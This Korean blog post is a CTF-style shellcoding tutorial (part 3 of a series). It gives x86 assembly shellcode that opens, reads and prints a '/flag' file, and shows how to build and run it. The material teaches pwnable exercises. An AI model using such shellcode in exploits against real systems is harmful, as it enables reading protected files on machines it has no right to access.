pwnable/Shellcoding

쉘코딩 (shellcoding) - (3)

범고래_1 2022. 6. 8. 21:11

 

쉘코딩 하는 여러 방법 소개 시리즈 (3)

쉘코드 작성 후 바이너리로 만들고 실행할 때

 

/flag 읽는 쉘코드

// shellcode.S
#include <sys/syscall.h>
.intel_syntax noprefix
.global _start

.text
_start:

    /* open(file='/flag', oflag=0, mode=0) */
    /* push '/flag\x00' */
    push 0x67
    push 0x616c662f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80

    /* read(fd='eax', buf='esp', nbytes=32) */
    mov ebx, eax
    mov ecx, esp
    push 0x30
    pop edx
    /* call read() */
    push 3 /* 3 */
    pop eax
    int 0x80
    
    /* write(fd=1, buf='esp', n=32) */
    push 1
    pop ebx
    mov ecx, esp
    push 0x30
    pop edx
    /* call write() */
    push SYS_write /* 4 */
    pop eax
    int 0x80

빌드 (x86)

gcc -c -o shellcode.o shellcode.S -m32
ld -m elf_i386 -o shellcode shellcode.o

실행

./shellcode

'pwnable > Shellcoding' 카테고리의 다른 글

쉘코딩 (shellcoding) - (2)  (0) 2022.03.25
쉘코딩 (shellcoding) - (1)  (0) 2022.03.25
쉘코드 만들기 (asm 코딩)  (0) 2018.12.23
쉘코드 만들기 (직접)  (0) 2018.12.23